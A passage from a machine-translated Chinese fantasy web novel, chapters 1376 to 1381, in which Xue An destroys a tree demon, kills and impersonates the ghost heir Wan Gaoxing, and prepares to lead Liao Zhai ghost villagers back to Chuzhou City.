    Just listen to the loud noise of the earth cracking ~ www.novelhall.com~ the foot shaking.


    Then the strange tree slowly rose up under the horrified gaze of the Green-robed Tree King.


    The black air filled the strange tree, and there were bursts of screams and groans. It was the tree king''s body that was saving itself.


    But no matter how hard he struggles, he can''t stop Xue An''s bit.


    Seeing Xue An��s figure slowly rising, and the ground has been pulled out of a big pit, the roots that were pulled out of the tree danced like snakes and pythons, and kept throwing towards Xue An, trying to stop him. Actions.


    But no matter how powerful these tree roots are, they can''t even touch the corners of Xue An''s clothes, and they explode to pieces in midair.


    In this situation, the tree slowly lifted off.


    at last!


    After a loud noise, the strange tree was pulled out from the ground by Xue An.

 Chapter 1376： Liao Zhai? Yes, no?

    When the roots completely left the ground, the giant tree was like a fish leaving the water, and its momentum instantly weakened crazily.


    The original green branches and leaves gradually withered, and most of the roots drooped softly and lost their vitality.


    In this situation, the green-robed tree king''s figure began to shake violently.


    His body suffered such heavy damage, and as a clone, he naturally couldn''t bear much.


    His body quickly became transparent, and he let out a miserable howl.


    "Do not!"


    But at this moment, Xue An smiled at him slightly.


    "Die!"


    Having said that, Xue An embraced the giant tree with both hands, rounded and smashed it down towards the ground.


    Click!


    With loud noises, the giant tree burst open like it was set on fire by a bomb.


    The green-robed tree king screamed, and his figure was completely wiped out with the death of the giant tree.


    After finishing all this, Xue An clapped his hands, fell back to the ground, and smiled slightly at Yuan Niang who was in a daze.


    "Hello, my name is Xue An! Uh... Nice to meet you!"


    Although I don''t know why this Human Race boy named Xue An looks so strange when he looks at him, but the strength he just showed has deeply impressed this ghost girl.


    She woke up from the shock, and nodded in a daze, "I...My name is Que Wenyuan! I am also glad to meet you!"


    Xue An nodded, and then winked at Wen Mu Ling, "Put away all the things dropped by these ghosts!"


    "Yes!" Wen Muling responded quickly.


    And Xue An turned his head and smiled at Que Wenyuan, "What the **** is going on? Can you tell me?"


    "What''s the matter?" Que asked Yuan in a daze.


    "Just... why are there so many evil spirits suddenly?"


    Que Wenyuan looked at Xue An in dismay, and finally shook his head sadly, "I don''t know, but it wasn''t like this before. Whether it''s a ghost or a human, they get along very harmoniously, but it seems that suddenly, These evil spirits appeared out of thin air! And the strength of all of us suddenly plummeted!"


    Xue An was silent for a while after listening, and then nodded, "Okay! But where are you from? Can you take us there?"


    Que Wenyuan looked at the smile on Xue An''s face and nodded without hesitation, "Of course! If Ying Sister knew that a master like you had joined, I might be so happy!"


    "Really!" Xue An smiled, then muttered to himself.


    Liao Zhai?


    at the same time.


    In a village thousands of miles away from this abandoned town, Nie Xiaoqian and Ning Caichen rushed back as fast as they could.


    The guards at the gate were two young ghost clan boys, and when they saw them, they quickly let go.


    The two dared not delay the slightest, and almost ran all the way to the chamber in the middle of the village.


    Bang!


    The door of the chamber was pushed open heavily, and everyone who was discussing inside was taken aback, and then all exclaimed.


    "Xiao Qian!"


    "It''s Miss Nie and Young Master Ning!"


    "Great, they are back!"


    But the two did not pay attention to these shouts at all, but shouted at the girl sitting in the middle in an eager tone.


    "Sister Ying, Yuanniang... She is trapped in the clutches of the tree king of the small town in order to save us, let''s go and save her! Otherwise, it will be over if it is late!"


    This sentence caused a commotion in the audience, and many people rose in succession.


    "What? Yuanniang was actually trapped there?"


    "No, go and save people!"


    Among these noises, a few young men in particular reacted the most, almost to the point of anger.


    But in this situation, Yingning sat in the upright position and did not move.


    "Sister Ying..." Nie Xiaoqian couldn''t help taking a step forward, and said anxiously.


    Yingning smiled and waved her hand, "Needless to say, Yuanniang told me before doing this!"


    "What?" Nie Xiaoqian''s eyes rounded in an instant, and then exasperated: "Then you agree? Is it possible to sacrifice another person to save me?"


    "Yes! This is not fair to Yuanniang at all!" The men were even more furious.


    Yingning''s face was full of sullen expression, "I also told her at the time, but Yuanniang told me that she had planned for the worst, because she wanted to completely eradicate the tree king of the small town that often disturbs us. !"


    The audience quieted down instantly.


    They naturally know what the so-called worst plan is.


    Nie Xiaoqian''s face was even more pale, and she stood there blankly, her tears never stopped from beginning to end.


    "Silly fate, why are you so stupid..."


    The news spread, and the whole village was shrouded in a cloud of gloom for a while.


    Yuanniang is usually very popular in this village. Many elders like this little girl, and many men of the same generation admire her very much.


    Unexpectedly, this soft-looking girl would act so hard, even at the expense of herself to fight the enemy.


    Moreover, it is too late to send someone to rescue him.


    Just when everyone regrets it.


    A stream of light suddenly appeared above the village.


    Everyone was stunned, and then they looked at the streamer as if they were facing an enemy.


    Yingning even gave the first instructions: "Be prepared!"


    Whether it is a human or a ghost, they are silently prepared at this moment.


    But at this moment, only a female voice of joy came.


    "Sister Ying, Sister Xiaoqian, I''m back!"


    Everyone was stunned, and even suspected that they had heard it wrong.


    But after looking at it again, the streamer dissipated, and Que Wenyuan''s figure appeared from it.


    After seeing this little girl, everyone''s eyes gradually widened.


    what happened?


    But immediately, everyone''s attention was attracted by the two human races on the side.


    When Que Wenyuan, Xue An and others fell on the ground, everyone gathered around.


    Yingning looked at Xue An with a serious face, "What is going on?"


    Que Wenyuan chuckled and said, "Sister Ying, let me introduce you. This is my new friend, Xue An Xue Gongzi! He also saved me from those ghosts!"


    Immediately afterwards, Que Wenyuan recounted what happened.


    After listening to the crowd, all showed horror.


    Because it sounds too incredible.


    If it weren''t for Que Wenyuan''s promise, and brought a root of that strange tree.


    No matter how people can''t believe this is true.


    At this time, Xue An smiled at Yingning, "I have seen Ying Girl!"


    Although there are many doubts in his mind, since Xue An is Que Wenyuan''s lifesaver, he is naturally also the benefactor of this small village.


    Especially Nie Xiaoqian and Ning Caichen are like ghosts, and they are even more grateful to Xue An.


    In addition, the tree king who often harassed this place was eliminated, and it was considered to have eliminated a major enemy.


    So in the evening, a grand dinner was held in this small village.


    As the most distinguished guest, Xue An naturally enjoyed the highest courtesy.


    However, Xue Ancheng didn''t say much only occasionally showed a slightly different color after hearing the names of everyone.


    Gengniang, Xin Shisanniang...


    Waiting for the name made Xue An deeply suspicious.


    Was it the Chinese writer who came to this plane at the time, or did the master of this plane read the book Liao Zhai?


    Under this question, the feast finally dissipated.


    Although Que Wenyuan wanted to say a few more words to Xue An, he finally left with reluctance.


    Wen Mu Ling played the role of a background board well throughout the whole process, until the people finally dispersed.


    She couldn''t help but whispered: "My lord, I can see that the ghost races gathered here are the same as the ghost races I met when I was on this plane!"


    Xue An smiled, "Speaking of this, it really gets more and more interesting!"

 Chapter 1377： Chuzhou Wanjia

    Wan Gaoxing stood on the town square with a green face, and in front of him was a huge pothole, with tree trunks and branches scattered around the big hole.


    No one dared to speak, and all the followers standing behind him bowed their heads in silence, not even daring to say a word.


    "Who did it?" Wan Gao Xingyu said coldly.


    These entourage looked at each other, and finally the entourage standing in the front stepped forward and whispered: "I haven''t found it yet!"


    Bang!


    With a muffled sound, the entourage was directly taken away and fell into the dust, unable to get up for a long while.


    "Who did it?" Wan Gaoxing''s tone was full of infinite anger.


    Everyone began to tremble.


    As far as ghosts like them are concerned, high-ranking ones have the right to live and die, so they have no power to resist.


    At this moment, I saw an entourage cautiously stepping forward and saying: "Young...Master, although we still don''t know who did it, we can smell the presence of people here before in the humble!"


    "Human?" Wan Gaoxing frowned slightly.


    "Yes, it''s Human Race!" The entourage nodded.


    "Very good! Didn''t expect that these human races have not yet recognized the reality, thinking about making trouble?" Wan Gaoxing gritted his teeth, his face was full of anger.


    Then he suddenly raised his head and said coldly: "What are you still doing? Since it was Human Race, then they probably haven''t ran far, so they will immediately find out if there are Human Race gathering places around me!"


    "Yes!" These entourages suddenly promised, and then fled into the darkness one after another, and began to look around.


    Standing in front of the tree pit, Wan Gaoxing slowly squatted down, looking at the withered and decayed roots in the pit, a cold expression appeared on his face.


    "No matter who you are, you are dead this time!"


    As a child of the Wan family who came across the plane and has become a wealthy family in Chuzhou City, Wan Gaoxing certainly did not come because of a small tree king.


    What he did was the ancient mirror.


    At the beginning, this ancient mirror was in Chuzhou City, but for various reasons, it actually ran out and fell into the hands of the tree king of this small town by chance.


    It is ridiculous that the tree king of this small town can''t see what it is, and he just put it aside without taking it seriously.


    However, Wan Gaoxing knew the value of this ancient mirror, so he tried his best and tried every means to finally find this place following the trail of the ancient mirror, but he did not expect that he came a step late and the tree king of the town died. After that, the ancient mirror naturally disappeared.


    How can this not make this Wanjia child who has always regarded himself very high in anger.


    During this expedition, all the entourages he brought were the elite of the family.


    So in a short while, one of his entourages rushed back with a victory.


    "Master Bao, there is a small village thousands of miles away with traces of human activities, and there are many indigenous ghosts in it!"


    Wan Gaoxing''s eyes lit up upon hearing the words, "Oh? Aboriginal ghosts?"


    "Yes!"


    Wan Gao Xingwei laughed, "Isn''t this bunch of **** all dead yet? Well, the young master will clean them up this time! Who made them bad luck and dare to fight against this young master?"


    "Lead the way ahead!"


    "Yes!"


    At the same time, in the densely populated village.


    Yingning said solemnly: "Yuan''er, is everything you said true?"


    Que Wenyuan nodded, "Of course it''s all true!"


    There was silence in the room.


    The human races here also have ghost races, but they are all elites in the entire village.


    After the banquet, Xue An went to rest, but Yingning gathered the people together, and then asked Que Wenyuan in detail about what happened.


    Although it was not the first time I heard it, everyone still felt some scalp tingling.


    Pulling a demon tree that has become a spirit with one hand, what a terrifying power it is!


    Que Wenyuan saw that the momentum in the field was a little dignified, and seeing Sister Ying''s look thoughtful, she couldn''t help asking: "Sister Ying, what''s wrong? Is there something wrong?"


    Yingning shook his head and smiled bitterly: "It''s not that something is wrong, but I can''t figure it out!"


    "Can''t guess what?"


    "Can''t guess what this son Xue came from, and what he plans to do!"


    Que Wenyuan widened his eyes, "Is this important?"


    Ying Ning nodded, "Of course it is important! Because according to what you said, the strength of this Young Master Xue has obviously reached an extremely terrifying level, even stronger than before our strength fell sharply! But here comes the problem!"


    "Since it is so powerful, why hasn''t it been known before?"


    This question made Que Wenyuan also a little dazed, "Yes! How come there is no reputation? Could it be that..."


    Que Wenyuan suddenly understood and looked at Ying Ning in horror.


    Yingning nodded, "Yes, I suspect he also came from outside the plane!"


    Everyone was shocked, and everyone was horrified.


    Coming from other planes...


    Although it sounds weird, this is the most reasonable explanation today.


    "What happened from another plane?" Que Wenyuan muttered in a low voice.


    Yingning shook his head and smiled bitterly. ��Of course it��s not that it��s not good to come from outside, but now our world situation is extremely complicated. Ghosts from the outside have been eroding the territory of our indigenous ghosts, and eventually turned against the guest. We can only shrink in the deserted country, and now there is another human race of unknown origin, we naturally have to think about it carefully!"


    Speaking of this, Yingning''s expression became a little serious, "Otherwise, no one knows what will happen!"


    As soon as the voice fell, I heard a chuckle from outside the house, "Well said!"


    There was a low uproar from the crowd, and they turned their heads to look around, but saw Xue An walked into the room slowly, smiling, and said lightly: "Although a little too cautious, there is some truth to this statement!"


    Yingning''s complexion changed, and finally got up slowly, and said, "Master Xue, I..."


    Xue An waved his hand and said lightly: "I didn''t mean to listen to the root of the wall. I just happened to come over to say something and I just ran into it!"


    Speaking of this, Xue An smiled, "Actually, you don''t have to be so nervous, because I am here and I have no malice against you! Otherwise, I will not save Yuanniang before!"


    Que Wenyuan''s cheeks were slightly red, but he gave Xue An a bold look.


    Yingning nodded, "We naturally know this, but..."


    "Is just worried about the purpose of my coming here?" Xue An smiled, then raised his head to look at the sky outside the window, and said lightly: "Are all of you here? Haven''t anyone rushed back outside? "


    Yingning was taken aback, and then shook his head, "No! Everyone is here!"


    "In that case, these guys who rushed outside should be here to find something!"


    As soon as Xue An''s voice fell, he saw a large black cloud drifting wildly, and the figure of Wan Gaoxing slowly appeared on the top of the cloud. He overlooked the small village under his feet and smiled coldly.


    "The inside, won''t you come out to meet this young master?"

 Chapter 1378： This muddy water, Im set!

    These formations naturally attracted the attention of everyone in the village.


    Yingning and the others'' complexions changed, and they all came outside.


    When Wan Gaoxing saw Que Wenyuan Nie Xiaoqian and the many charming ghosts, he was startled slightly, and then burst into laughter.


    "Okay! It seems that this young master is really lucky. He can meet so many stunning ghost races here. Tsk tsk, if you get back to Chuzhou City, you will definitely be able to sell it for a good price!"


    As Wan Gaoxing was talking, he looked at Que Wenyuan and the others unscrupulously.


    This kind of arrogance naturally caused public outrage.


    Que Wenyuan was the first one to be furious, with a slender hand, and shouted angrily: "Hey, where does the dog come from, dare to talk to grandma like this?"


    "Presumptuous!" The entourage behind Wan Gaoxing scolded Qi Qi and moved forward.


    Wan Gaoxing raised his hand to block, stopped these people, then looked at Que Wenyuan with greedy eyes, and said with a smile: "What a pungent girl, but this young master likes this!"


    Que Wenyuan snorted coldly, "I''m pooh! Do not pee and look in the mirror, just like you, can grandma see you?"


    These remarks are so slang that many people can''t help but laugh.


    Wan Gaoxing''s complexion gradually darkened, and he sneered: "What a little fierce horse, but if you talk to my Wanjia Master like this, don''t you think about the consequences?"


    Wanjia!


    After hearing the name, many people took a breath, causing the temperature in the court to rise a bit.


    It''s not that they are timid, it''s that the wicked name of these tens of thousands is too strong.


    They are not aboriginal ghosts, but have crossed from other planes, but despite a short time, they have firmly rooted in Chuzhou, the largest city in this world.


    Not only that, these thousands of families also killed the indigenous ghost tribe the heaviest, and through this they also established their wicked reputation.


    Nowadays, many people are naturally shocked when they hear that they are all young and old.


    But immediately, anger appeared in everyone''s eyes.


    The so-called monstrous blood feud is nothing more than that.


    The indigenous ghost tribes and these alien ghost tribes that have passed through are inherently incompatible with fire and water, and they are naturally at odds with these thousands of families.


    Que Wenyuan''s pretty face was covered with frost, staring at Wan Gaoxing with extremely cold eyes, and gnashing his teeth and shouting: "Wanjia!"


    Wan Gaoxing enjoyed this feeling very much. He smiled, "Yes, I came from the Wanjia who killed you the most waste! Before I came here, I wanted to kill you all at once, but now I change. Idea!"


    After that, Wan Gaoxing pointed to Que and asked the fate, Nie Xiaoqian and other women, "As long as you are willing to follow me obediently, then I can''t consider letting someone here!"


    This time the audience became agitated.


    "Asshole! Shameless!" Nie Xiaoqian and other women scolded.


    Que Wenyuan didn''t scold anyone, but spit on the ground severely.


    "He-tui!"


    Wan Gaoxing''s complexion instantly turned gloomy and cold, "Very well, since I give you a chance, you don''t know how to cherish it, so don''t blame me for being rude!"


    After that, I saw him sneer, and phantoms appeared beside him.


    In an instant, these phantoms turned into his appearance, and the darkness occupied most of the sky, and he laughed strangely towards the bottom.


    "Look at me... Evil Shadow clone!"


    After all, these shadows turned into ten thousand high star-shaped appearances raised their hands together, and then blasted toward the ground.


    In the face of such a blow, many people became disillusioned and even felt desperate.


    Only at this time did they discover how far the strength of these indigenous ghost tribes was from these alien ghost tribes before!


    Wan Gaoxing''s eyes shone with excitement and cruelty.


    He certainly wouldn''t kill everyone in one blow.


    In fact, the reason why he would perform such a spiritually consuming blow was to control the audience in this way.


    Those ordinary human races or ghost races are naturally not a problem, just kill them directly.


    But none of these women can be hurt. After all, this is a very precious asset!


    But although his wishful thinking was playing loudly, they all fell through in the next instant.


    Because at this moment, a faint light of sword flew across the field with a three-point freehand brushwork in an understatement.


    Nevertheless, this sword light was like a hot knife cutting oil, slashing Wan Gaoxing''s blow with an unquestionable attitude.


    Not only that, but also the many evil shadow clones of Wan Gaoxing who were broken together.


    After a few muffled bangs, he watched Wan Gaoxing snorted again, stepped back slightly, and then roared in anger, "Who?"


    At the same time, a soft sigh came, "Oh, this sword is a bit too early, otherwise you won''t be able to escape!"


    After speaking, I saw Xue An walking out of the hall like a leisurely court, standing with his head high, and smiling slightly: "But I don''t think you will have such good luck next time!"


    The moment he saw Xue An, Wan Gaoxing''s pupils shrank instantly, and he subconsciously felt a deep chill.


    It''s like being stared at by a prehistoric behemoth, which makes the scalp numb.


    This person... is dangerous!


    This is Wan Gaoxing''s first thought.


    In fact, for ghosts like them, the most important thing for survival is to see in the shortest time who is the most unprovoked, otherwise they might not even know how to die.


    Who is he? Why would such a strong person appear in such a place?


    Could it be a trap set by other families against me?


    These thoughts flashed through Wan Gaoxing''s mind.


    At the same time, Wen Muling also walked out behind Xue An.


    Her strength was not that great, but Wan Gaoxing saw the mirror she was holding at a glance.


    That''s right!


    This is the ancient mirror that I couldn''t find after searching hard!


    After thinking for a moment, Wan Gaoxing was unexpectedly not angry, but said in a deep voice: "Who are you? And what''s the matter with Fang Gu Jing?"


    "Me? My name is Xue An! As for this ancient mirror...I just got it!" Xue An smiled purely.


    really!


    The tree king of that small town died in their hands!


    The name Xue An is also very strange! At least Wan Gaoxing has not heard of but this does not prevent him from continuing to say, "What? Do you strong human race plan to visit this muddy water?"


    Xue An smiled, "You made a mistake, I didn''t plan to wade in the muddy water!"


    Wan Gaoxing secretly breathed a sigh of relief, but the next second Xue An''s words made his hair stand up.


    "Because I just want to kill you!"


    "Asshole, you..." Wan Gaoxing was angry, but he didn''t wait for him to finish.


    Xue An has soared into the sky, and before everyone else has reacted, he grabbed Wan Gaoxing''s neck and said lightly: "What are you?"


    "You...you are really amazing!" Wan Gaoxing struggled several times, but found that he could not break free, and a flattering smile immediately appeared on his pale face.

 Chapter 1379： Causal reversal turns into truth

    Xue An looked at him coldly.


    These followers of Wan Gaoxing didn''t wake up like a dream until then.


    "Master!"


    "Master, I''ll save you!"


    Amid these shouts, these followers tried to rush up.


    Xue An didn''t turn his head back, just said indifferently: "Whoever of you takes one step forward, his head will say goodbye to him!"


    The footsteps of many entourage stopped instantly, and Wan Gaoxing shouted hysterically: "Asshole, whoever asked you to come up, give me back! No one is allowed to step forward without my order!"


    Many entourage stopped, and then Wan Gaoxing smiled at Xue An with a flat face.


    "Big...sir, do you think you are still satisfied with this?"


    Xue An nodded, "You are very sensible!"


    Humiliation and resentment appeared in Wan Gaoxing''s heart, but the smile on his face became more sincere.


    "My lord, I dare say that there must be some misunderstandings between us! So what we need most now is to sit down and have a conversation, not to fight and kill! What do you think?"


    "Talk? What to talk about? How to talk?" Xue An said lightly.


    "My lord, looking at you, you should have come from an outside plane too! No matter what your purpose is, the intelligence information of this world must be needed! I can tell you all. In this case, do you think How?" Wan Gaoxing said sincerely.


    Xue An looked at him for a long while, and then said lightly: "You are very smart!"


    Wan Gaoxing��s eyes lit up, knowing that he was right to bet, and he hurriedly smiled: ��What''s more, I��m still the young master of the Wan family, and I can be regarded as a well-known figure in this world, and our Wan family��s favorite is to make friends with heroes in the world. I promise that as long as you let me go, you will not only get a lot of useful information, but also the friendship of our families! No matter what you want to do then, you will get twice the result with half the effort! What do you think?"


    The expressions of Yingning and others changed.


    Because even they have to admit that Wan Gaoxing''s proposal is full of allure.


    "It sounds great!"


    Wan Gaoxing secretly breathed a sigh of relief, the smile on his face couldn''t help but grow stronger, "Of course..."


    But before he could continue, Xue An smiled coldly, "But I don''t agree!"


    Xue An said slowly: "Because I want to know what I can know after I kill you, so why bother to ask it through you?"


    Wan Gaoxing''s complexion was instantly pale as paper, and his lips moved, "You..."


    "What''s more..." Xue An leaned down and whispered in Wan Gaoxing''s ear: "What I am looking for is the master of this world!"


    Hearing this sentence, Wan Gaoxing''s eyes showed infinite horror.


    This Terran powerhouse is actually the master of this world!


    What does he want to do?


    Could it be...


    All kinds of thoughts flooded Wan Gaoxing''s heart for a time, making him stunned.


    At the same time, Xue An''s palm gradually tightened.


    Although the body of the Ghost Race is very different from the Human Race, even if the head is pinched, it can be safe and sound.


    But in Xue An''s hands, it''s not that simple.


    Wan Gaoxing felt that all his connections with the outside world were being severed one by one. This feeling was exactly the same as when people were depressed.


    This made Wan Gaoxing extremely frightened.


    Because he knows that if this continues, he is likely to really die, and it is the kind of death that is utterly destroyed.


    So he roared with all his strength, "What are you still doing? Kill him for me!"


    Although these followers of his were also frightened, they were helpless, their wealth and life were firmly in control of the Wan family. If Wan Gaoxing died, they would not want to live alone, so they gritted their teeth secretly and rushed forward. I''m going to die with Xue An.


    But they had just taken a step, Xue An pinched Wan Gaoxing with one hand, and lightly snapped his fingers with the other.


    Snapped!


    With a crisp sound, a sword light hovered in the air like a dragon.


    Puff puff! After a few muffled noises in succession, these followers stagnated and stood in place, and then they shattered silently.


    This scene almost made Wan Gaoxing''s eyes pop out. Of course, this was also largely because he was on the verge of his limit.


    In infinite horror, he screamed in his throat, "You bastard, do you think the matter will be solved by killing me? My family will avenge me! You will die by then!"


    In the clamor of Wan Gaoxing, Xue An said calmly: "Who said that if you die, your family can avenge you?"


    "Huh?" Wan Gaoxing stunned, and immediately tried his last strength and laughed, "I know what you think, you want to kill me and run away, but let me tell you, it''s useless, As long as I die, the family will know the news, and even those who kill me will be contaminated with the mark of cause and effect, so you can''t escape! Hahahaha!"


    In the complacent laughter, Que Wenyuan was so angry that he couldn''t beat him, waving his fists and wishing to beat this Wan Gaoxing alive.


    However, the eyes of Yingning and others showed a sad color.


    Because they all know that what Wan Gaoxing said is true.


    For these giants, this method of protecting the true heirs is a must.


    But at this moment, Xue An also laughed. Amidst the laughter, his tone was cold and cold, "Who said that you are dead, your family will know? After all, I have to use your identity to do it. Many things!"


    "You..." Wan Gaoxing''s laughter stopped abruptly.


    At the same time, I saw the shadows floating around Xue An''s body, and in an instant, Xue An''s appearance became almost exactly the same as this Wan Gaoxing.


    Wan Gaoxing''s mouth gradually opened wide, watching this scene blankly.


    Because he never thought that there could be such a secret technique in the world.


    The changing appearance is very simple, but like Xue An''s, even the expression and breath are perfectly changing, which is unheard of.


    What does he want to do? This thought suddenly made Wan Gaoxing a cold sweat, if he had any.


    At the same time, Xue An said calmly: "Now, please go on the road!"


    "No... my family will know if you kill me. I don''t care what you want to do, as long as it can save my life!" Wan Gaoxing screamed.


    But Xue An said calmly: "Don''t be so troublesome!"


    As he said, he snapped his fingers softly, "Causality!"


    Click!


    All Wan Gaoxing''s screams and struggles were instantly imprisoned, and he could only look at Xue An in infinite horror.


    Then Xue An said softly, "Reverse!"


    boom!


    As if pressing the back button Wan Gaoxing''s body began to transform rapidly.


    Almost in an instant, Wan Gaoxing''s body disintegrated piece by piece because of the violent shock.


    The power of cause and effect!


    How could he have such power!


    I can not be reconciled!


    This was Wan Gaoxing''s last thought, and then he fell into the eternal darkness and turned into nothing.


    The black air diffused, leaving only a light blue spot in the sky.


    That was the memory left after Wan Gaoxing''s cause and effect was reversed. Xue An waved his hand and incorporated this memory into the sea of ??knowledge.


    After a while, Xue An slowly opened his eyes.


    The last difference in breath was also made up. At this moment, he has become no different from Wan Gaoxing.

 Chapter 1380： To survive

    Everyone gradually widened their eyes and looked at Xue An in a daze, with an extremely absurd feeling in their hearts.


    Because at this moment, Xue An is so much like the Wan Gaoxing who has just died, and has even reached the point of being fake.


    This can''t help but make everyone''s hearts puzzled.


    what happened?


    What is this Master Xue planning to do?


    At this moment, Xue An fell back to the ground and smiled at everyone.


    "Guess who I am?"


    hiss!


    Many people took a few steps back with a look of horror.


    Because Xue An now even speaks like a Wan Gaoxing who just died.


    If they hadn''t seen it with their own eyes, these people would never believe all this in front of them.


    There are many masters who are good at camouflage among the ghost tribes, and there are even the evil ghosts who can imitate human skin and dress up as adults.


    But no matter what the disguise is, there is always some difference, and it is impossible to be seamless.


    But what Xue An looks like now is beyond their imagination.


    Not only the looks are the same, but the breath is exactly the same.


    Only Que Wenyuan rushed forward with some excitement, touched Xue An''s face boldly, and then exclaimed: "Wow, it''s actually the same!"


    Xue An was a little bit dumbfounded, but he could see that this little girl was simply innocent, so she didn''t get angry, just smiled.


    "Of course it''s the same, because it''s always true!"


    Hearing Xue An''s words, Que Wenyuan became more and more excited, "Then you will change? For example, can you change like me?"


    "Yuanniang, don''t be rude!" Yingning stepped forward, stopped Que Wenyuan and continued talking, and then took a deep look at Xue An.


    "Xue Gongzi, you suddenly changed to this ten thousand family master, do you have any plans?"


    Xue An nodded, "Yes! But I have a question that I want to ask you first!"


    "Question? What question?" Que Wenyuan asked somewhat curiously.


    With that said, Xue An slowly glanced at everyone in the audience, and said leisurely: "Do you want to stay here for a long time? Or are you willing to take back everything you lost through your own efforts?"


    As soon as this problem came up, the audience fell silent for an instant.


    Everyone''s complexion changed.


    Because Xue An''s words hit the hearts of all of them.


    Since the plane changed drastically and their strength plummeted, because of the arrogance of the foreign ghost race, they have lost too much, and they have finally fallen into such a small place to linger.


    But everyone knows that this is not a long-term strategy.


    Not to mention that the tree king of the small town that often harassed here before, just the Wan Gaoxing who had just died, all revealed a terrible fact.


    These foreign ghost races will never let them go.


    All this is just a false peace.


    Everyone knew this well, so naturally they were worried.


    But is it true that he said to get back everything he lost?


    You must know that even though a son of Wanjia died, the alien ghost tribe who invaded this world is not just one Wanjia!


    In the eyes of everyone''s doubts, Yingning took a deep breath and said in a deep voice, "Master Xue, what do you say?"


    Xue An said calmly: "It''s very simple. If you have lost your courage and are willing to live in this corner, I naturally have nothing to say. I can even help you clean up the ghosts around you, but how long can all this last? Different people have different opinions!"


    "Then what if we don''t want to stay here?" Yingning''s expression was serious.


    Xue quietly looked at the young but majestic little girl, and then smiled.


    "That''s also very simple. I will take you to Chuzhou City and get back everything that should belong to you there!"


    boom!


    Xue An''s words caused a sensation in the audience.


    Many people looked at Xue An in dismay.


    Because this is simple to say, but only they know how difficult it is to truly achieve it.


    Chuzhou City is the first city in this world, and almost all the foreign ghosts gather there.


    Many people in the room were expelled from there.


    Now he says to go back and get everything back.


    How easy is it?


    At least many people shook their heads secretly, thinking it was impossible.


    But what everyone didn''t expect was that Yingning didn''t even hesitate, and nodded heavily.


    "Okay! I''m willing to do this last fight!"


    No one thought Yingning would agree so quickly.


    Xue An''s eyes showed a touch of appreciation, and then nodded, "Okay! If that''s the case, please prepare, and we will set off tomorrow!"


    After all, Xue An turned and left here.


    Yingning stood in the same place, quietly looking at Xue An''s back, with a solemn expression and bright eyes.


    At this time, Que Wenyuan was the first to cheer excitedly, "Okay! This is what we should do. I''m tired of staying in this ghost place!"


    Many young people are also excited about it.


    But the others were full of heavy heart, and an old man sighed softly: "Infant girl, this matter is very important. Did you promise to be too sloppy?"


    Yingning took a deep breath, narrowed his gaze, and swept his gaze over the face of the old man who was talking, and said slowly, "Because we have no other choice!"


    Speaking of this, a wry smile appeared on Yingning��s face, ��Do you really think we can live here if we don��t agree? Although I don��t know what method this Master Xue used to erase the mark, it��s impossible. As a child of the Wan family, Gao Xing now dies here, this matter will be revealed sooner or later!"


    "At that time, you and I will be inevitable!"


    This made everyone''s expressions changed.


    "But we can also move?" someone whispered.


    Yingning shook his head, "It''s useless, we will probably become the prey of these foreign ghosts, and the end will only be even more miserable! And..."


    Ying Ning paused, and said a little bit: "Have you not had enough of such fearful days?"


    Hearing Yingning''s questioning, everyone bowed their heads, and some of them even sobbed.


    Yes!


    In this small village, seems to be quiet for years, but in fact everyone is under great pressure.


    Not to mention anything else, Nie Xiaoqian, who was taken away two days ago, had it not been for a coincidence, now it is likely that he has become a plaything of a certain ghost race!


    They really have had enough of such days!


    The old man sighed, "We all understand these principles, but the question is...Can this Master Xue really do it?"


    Que Wenyuan raised his eyebrows and wanted to get angry.


    Yingning waved her hand, stopped her, and then said solemnly: "I don''t know, but now we have no better choice, don''t we?"


    Everyone was silent.


    "So even if there is only a glimmer of hope, we have to fight for it!"


    "In order to... live!"

 Chapter 1381： Silently complain

    After a moment of silence, everyone nodded.


    Because they know that what Yingning said is true!


    At this point, everyone has reached a consensus.


    In the cabin, Xue An suddenly laughed, "It''s a woman who knows how to choose!"


    "My lord, why do you want to change into this ten thousand high star?" Wen Mu Ling finally couldn''t help asking.


    Xue An smiled, "Because I don''t want to be stunned!"


    Wen Mu Ling suddenly understood something, nodded, bowed and stepped aside, and stopped asking further.


    Xue An stroked the two ancient mirrors thoughtfully, a complex light flashed in his eyes.


    His transformation into a ten thousand high star is certainly not a whim.


    In fact, the status quo in this world has clearly conveyed a message that there is a serious problem with the controller of this plane.


    Otherwise, there will be no such violent but powerless plane suppression, let alone the unscrupulous behavior of these foreign ghosts, and even the slaughter of the indigenous people.


    This is an unbearable humiliation for the masters of every plane.


    But now that all this happened in this way, it means that something must have happened to her.


    In Wan Gaoxing''s memory, this ancient mirror was obviously something that the wealthy family in Chuzhou City urgently needed.


    Although it was exactly what it was doing, this Wan Gaoxing didn''t know.


    But Xue An was very clear.


    That''s why he didn''t head to Chuzhou City recklessly, but instead made a roundabout advance in this way.


    After a whole night of intense busyness, by the next day, everyone in the village was ready.


    When Xue An walked out, the crowd had already gathered, and Ying Ning was the leader.


    She greeted Xue Anlin, "Master Xue, what shall we do next?"


    Xue An smiled slightly, "It''s easy, you guys tie yourself up first!"


    "Tied up?" Que Wenyuan asked in surprise.


    The crowd was also a commotion.


    "Yeah! If you don''t tie it up, how can this young master take you back to Chuzhou City?" Xue An said arrogantly.


    If it weren''t for knowing that the young man in front of him was Xue An pretending, everyone would really believe it.


    Even so, many people still have a chill in their hearts.


    If he really binds himself, if he has other plans, wouldn''t he take the initiative to get into the tiger''s mouth?


    But Yingning did not hesitate at all, tied herself up with a rope, and then solemnly ordered: "Everyone, let''s tie each other together!"


    Many people are still hesitant.


    Que Wenyuan couldn''t help but said: "Okay, didn''t you just say it yesterday? And if Young Master Xue really wants to deal with us, how can we just not tie our hands?"


    This remark touched everyone, and soon everyone tied themselves up honestly.


    Xue An nodded, "Okay! Then let''s go now!"


    As he said, Xue An waved his hand, and a black cloud rose from the feet of everyone, and flew up while supporting everyone.


    This kind of ghostly tactics made many people look pale.


    Isn''t he really a Wan Gaoxing?


    Otherwise, how could you even use this ghost tribe technique so skillfully?


    Xue An ignored these and led everyone straight to the direction of Chuzhou City.


    This world is not so vast, the area is about the same as the earth, if according to Xue An''s strength, a single finger can circle around.


    But now he is playing the role of the Wan family, and with so many "captives", naturally he can''t be too fast.


    After a long period of time, a towering city finally appeared in the distance.


    Yingning and others all showed excitement.


    Here they are all too familiar.


    Many of them grew up here.


    It can be said that this city carries too many memories for them.


    But after a shocking change, they left their homes and became bereaved dogs.


    I thought it was impossible to come back for this life, but I didn''t expect to return under this situation.


